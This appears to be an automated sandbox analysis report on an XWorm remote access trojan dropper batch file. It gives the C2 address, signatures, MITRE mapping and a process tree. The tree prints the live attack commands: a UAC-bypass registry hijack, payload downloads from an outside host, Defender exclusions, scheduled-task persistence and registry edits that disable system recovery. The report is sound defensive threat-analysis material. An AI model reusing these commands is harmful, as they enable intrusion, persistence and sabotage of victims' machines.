Overview

overview

10

Static

static

1

Uac Bypass Rat.bat

windows10-1703-x64

10

Uac Bypass Rat.bat

windows11-21h2-x64

10

Analysis

  • max time kernel
    598s
  • max time network
    603s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240709-en
  • resource tags

    arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/07/2024, 23:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Uac Bypass Rat.bat

  • Size

    782B

  • MD5

    010176f3c136ca25c2e29e00bc9e75a7

  • SHA1

    344e7b8a9aa08b20bf17ac7f1fb01db13ad6e827

  • SHA256

    a5414f82d063d24e7f0d7e417024ba796c6e52fcb07cd8e59c306fe0e05b7518

  • SHA512

    5030daf2afdb75c67a38e428a9eef5c133aadf1c9484047556d3adf338bb2802ef7fc8cca01964a3715cc42c726c6d97b81ceacdfc620bfb5cab6a75b07816e0

Score
10/10
xwormdefense_evasiondiscoverydropperevasionexecutionpersistencerattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

las-protected.gl.at.ply.gg:59571

Mutex

57uEOC4VgAs3IeCB

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    Uni.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Disables use of System Restore points 1 TTPs
    evasion
  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Drops startup file 2 IoCs
  • Executes dropped EXE 13 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 39 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uac Bypass Rat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2704
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4460
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe /c reg delete HKCU\Software\Classes\mscfile\shell\open\command /f & C:\Windows\System32\cmd.exe" /f
        2⤵
        • Modifies registry class
        • Modifies registry key
        PID:2084
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer mydownloadjob /download /priority normal https://xworm.xyz/stuff/$sxr-test.bat C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat
        2⤵
        • Download via BitsAdmin
        PID:428
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://xworm.xyz/stuff/$sxr-test.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat'"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3876
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3348
        • C:\Windows\system32\certutil.exe
          certutil -decodehex temp.hex "Uni.exe"
          3⤵
          • Deobfuscate/Decode Files or Information
          PID:552
        • C:\Users\Admin\AppData\Local\Temp\Uni.exe
          Uni.exe
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:564
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1744
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:460
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4028
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Uni" /tr "C:\Users\Admin\Uni.exe"
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5032
          • C:\Users\Admin\AppData\Local\Temp\bjhbgj.exe
            "C:\Users\Admin\AppData\Local\Temp\bjhbgj.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:412
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAagBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AbgB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAZgBmACMAPgA="
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3212
            • C:\Users\Admin\AppData\Local\Temp\MonkeModManager.exe
              "C:\Users\Admin\AppData\Local\Temp\MonkeModManager.exe"
              5⤵
              • Executes dropped EXE
              • Modifies registry class
              PID:2516
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\reset survival.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3516
              • C:\Windows\SysWOW64\ReAgentc.exe
                reagentc /disable
                6⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                PID:4596
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetPC" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1668
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetPC" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1548
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /v "NoWinRE" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1580
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsSetupOptions" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:5024
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3204
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AutoRestartShell" /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3120
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:244
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1952
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4396
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3428
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
                6⤵
                • Disables RegEdit via registry modification
                • System Location Discovery: System Language Discovery
                PID:3856
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4160
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4872
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowCPL" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3256
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoThemesTab" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1620
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispSettings" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:5028
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4608
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2068
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /v "NoWinRE" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3180
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 2 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1336
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\WinRE" /v "DisableStatusMessages" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2340
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute" /v "AutoChk" /t REG_MULTI_SZ /d "" /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:644
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3196
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "\Microsoft\Windows\WinRE\WinREBootIndex" /Disable
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4912
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "\Microsoft\Windows\WinRE\WinRECleanup" /Disable
                6⤵
                • System Location Discovery: System Language Discovery
                PID:72
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\sr" /v "Start" /t REG_DWORD /d 4 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1600
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v "AutoReboot" /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2380
              • C:\Windows\SysWOW64\sc.exe
                sc config wercplsupport start=disabled
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:5080
              • C:\Windows\SysWOW64\sc.exe
                sc config WerSvc start=disabled
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3636
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1488
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3004
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2568
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2480
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2432
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4772
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1360
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1812

    Network

    MITRE ATT&CK Enterprise v15

    Reconnaissance

    Resource Development

    Initial Access

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Persistence

    BITS Jobs

    1
    T1197

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Privilege Escalation

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Defense Evasion

    BITS Jobs

    1
    T1197

    Deobfuscate/Decode Files or Information

    1
    T1140

    Modify Registry

    2
    T1112

    Obfuscated Files or Information

    1
    T1027

    Command Obfuscation

    1
    T1027.010

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    System Location Discovery

    1
    T1614

    System Language Discovery

    1
    T1614.001

    Lateral Movement

    Collection

    Command and Control

    Exfiltration

    Impact

    Inhibit System Recovery

    1
    T1490

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Uni.exe.log
      Filesize

      654B

      MD5

      2cbbb74b7da1f720b48ed31085cbd5b8

      SHA1

      79caa9a3ea8abe1b9c4326c3633da64a5f724964

      SHA256

      e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

      SHA512

      ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      5f4c933102a824f41e258078e34165a7

      SHA1

      d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

      SHA256

      d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

      SHA512

      a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      050567a067ffea4eb40fe2eefebdc1ee

      SHA1

      6e1fb2c7a7976e0724c532449e97722787a00fec

      SHA256

      3952d5b543e5cb0cb84014f4ad9f5f1b7166f592d28640cbc3d914d0e6f41d2e

      SHA512

      341ad71ef7e850b10e229666312e4bca87a0ed9fe25ba4b0ab65661d5a0efa855db0592153106da07134d8fc2c6c0e44709bf38183c9a574a1fa543189971259

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      d405540758f0f5bdaab94f1a054cc67d

      SHA1

      07e307420a26d17c2dc1226af6e72018da4ae26c

      SHA256

      2ad4d5239f9647362dc68a96eae37de27bdd40359126715c72d79770d3d75d61

      SHA512

      59496f3ae411c3eda1f20335249fa6635cba06974f07b16a181271708a0d5dd078f50ef349e98e4b53643588eb77f4c56c8e2c7fb51a5c638273009ed1b7b889

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      ac62bf271b94b583bcf13eef6b124fee

      SHA1

      7fc6c2f61155471eaaadb7da29579eb0958de3df

      SHA256

      8ab85c280555d6f378573edba932182d36a89f2bff7762dea01416480b2ac8f4

      SHA512

      7ac0a424cce85734da99afd0019d85cc12c5b77cde32a6b51e1025bf7521c7be4332850d9f6ed6035c8de09c138687b5f8b8897230c5b06ab6c1bef640155ba7

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      cef328ddb1ee8916e7a658919323edd8

      SHA1

      a676234d426917535e174f85eabe4ef8b88256a5

      SHA256

      a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90

      SHA512

      747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      5794c1baef4c234203656fbbc884eee4

      SHA1

      b41df301d53ebe67c5027ee2e7d9cea828790f05

      SHA256

      7b700c984d5eec7c786dc348c669fc480f91f598fa193d1eabc398b200b2d818

      SHA512

      805382583ccf14e6b29584d5a813705615095723485137ed6bc618acbed07b08fb043c1b925c98d7ecd4519515d622fa0122d4f23f7f3031117437cdc676579d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat
      Filesize

      90KB

      MD5

      011e90b162cf67f34f91d6d563859817

      SHA1

      30ce18995be9545ae88189bc3ff5defbd2392d11

      SHA256

      6cced62e6af36a52c48fdf0efb1571a44d6469f4ca66ca510020e5da407ed613

      SHA512

      51d47a852b27540154c8b3ccb295dae4874475bf631be931bf8a4cf271805e927162c7f01e8df7f0aea8b9a860dac3500e59208cb60440bfa8e827325be7a36d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\MonkeModManager.exe
      Filesize

      217KB

      MD5

      1d62aa3d19462f3d5575fc54159911b4

      SHA1

      b37eab86c0075245fcc517a280f0705f6dffb852

      SHA256

      6acaae0fb470790102a338e23dfe2263f31e529288e4efe51b34bca30371cb36

      SHA512

      78a9501d7920920577a586396e5d9e2278a7c926448c9a98d7844db9032dbd887df90d2f389fe1754bf5a2071a19dfd5d40315624923e903ef9ef6cbb214b1df

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Uni.exe
      Filesize

      41KB

      MD5

      09e870076cfaa16f20be5050834ba8ff

      SHA1

      0b8b26cdaf08a07b8e86b1643ca23e249c8f3840

      SHA256

      f3fcb094f57ddd9e4c29eccc62e3ad3ce50d40230fbe0f00324ccf18acd68bc4

      SHA512

      d655030bf9bb84ecdd7109aab55c33976e2a2cbd63ccece48d3e881b1dd378e4e17f157a3dd9a07e8786650cbf46b8d742a115cb9906c9b69d7143c2b4de0643

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_euky0onc.3of.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\bjhbgj.exe
      Filesize

      225KB

      MD5

      2841cd968c72817f9eef3a4bc2293d6e

      SHA1

      5b788259d501493a87f00deee64fa0943ab19e34

      SHA256

      e5a9784f523a6965622532199a42f696ca15557b473f84c12f18210085a20e95

      SHA512

      82eded2b67775763669452be98f7c5eeb0a3cd34f4947753fef9cedea4a1f56b49223ed7ad8e68b77e54ab2bf004e9ba22107afdc23e2e168dc60f2013907bf0

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\reset survival.bat
      Filesize

      3KB

      MD5

      ecde221cbc92ee55ae5b8c1a24e98f56

      SHA1

      ebda0dba4abcd3bf93183e2787cc9e5f9f1448ee

      SHA256

      b6fbab33e31d0a525d4c752886d812c1c46477f6314da7bde25bdc8198cb70cb

      SHA512

      122673ad96f1e407c75a93672f6538f342499f4e14221cbe4103c601362667487f3f33800230572e255b55e691e5068adce6336a4ffe1a651bff465d2c2d3493

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\temp.hex
      Filesize

      85KB

      MD5

      fad3aaf3015914e834a9d0313fcd371b

      SHA1

      a4715a153a79263436819905b87b54acae4b2227

      SHA256

      917674ca36b5345dccd41f4ce772c6ffe8c3054520ebd2923fba768cbee77690

      SHA512

      64c9bd116ad70abf9e8bf444f248915383d4b4680de1f6dadad649e0279803c9575952b0e1995a34e47c5a73eb42e23e964437a4a7828d3214f3f694383db83a

      Download Submit

    • memory/564-24-0x0000000000530000-0x0000000000540000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3212-98-0x00000000030E0000-0x0000000003116000-memory.dmp

      Filesize

      216KB

      Download

    • memory/3212-119-0x0000000006950000-0x000000000699C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/3212-140-0x0000000007FA0000-0x0000000007FA8000-memory.dmp

      Filesize

      32KB

      Download

    • memory/3212-139-0x0000000007FB0000-0x0000000007FCA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/3212-138-0x0000000007EC0000-0x0000000007ED5000-memory.dmp

      Filesize

      84KB

      Download

    • memory/3212-137-0x0000000007EB0000-0x0000000007EBE000-memory.dmp

      Filesize

      56KB

      Download

    • memory/3212-99-0x0000000005DA0000-0x00000000063CA000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/3212-101-0x0000000005B80000-0x0000000005BA2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3212-106-0x0000000006440000-0x00000000064A6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3212-105-0x0000000005CE0000-0x0000000005D46000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3212-115-0x00000000064C0000-0x0000000006817000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/3212-136-0x0000000007E70000-0x0000000007E81000-memory.dmp

      Filesize

      68KB

      Download

    • memory/3212-118-0x0000000006920000-0x000000000693E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/3212-135-0x0000000007EF0000-0x0000000007F86000-memory.dmp

      Filesize

      600KB

      Download

    • memory/3212-120-0x0000000007900000-0x0000000007934000-memory.dmp

      Filesize

      208KB

      Download

    • memory/3212-121-0x0000000075000000-0x000000007504C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/3212-130-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/3212-131-0x0000000007940000-0x00000000079E4000-memory.dmp

      Filesize

      656KB

      Download

    • memory/3212-132-0x00000000082A0000-0x000000000891A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/3212-133-0x0000000007C60000-0x0000000007C7A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/3212-134-0x0000000007CF0000-0x0000000007CFA000-memory.dmp

      Filesize

      40KB

      Download

    • memory/3876-16-0x00007FFB7DB80000-0x00007FFB7E642000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3876-9-0x00000210DDB80000-0x00000210DDBA2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3876-0-0x00007FFB7DB83000-0x00007FFB7DB85000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3876-10-0x00007FFB7DB80000-0x00007FFB7E642000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3876-11-0x00007FFB7DB80000-0x00007FFB7E642000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3876-12-0x00007FFB7DB80000-0x00007FFB7E642000-memory.dmp

      Filesize

      10.8MB

      Download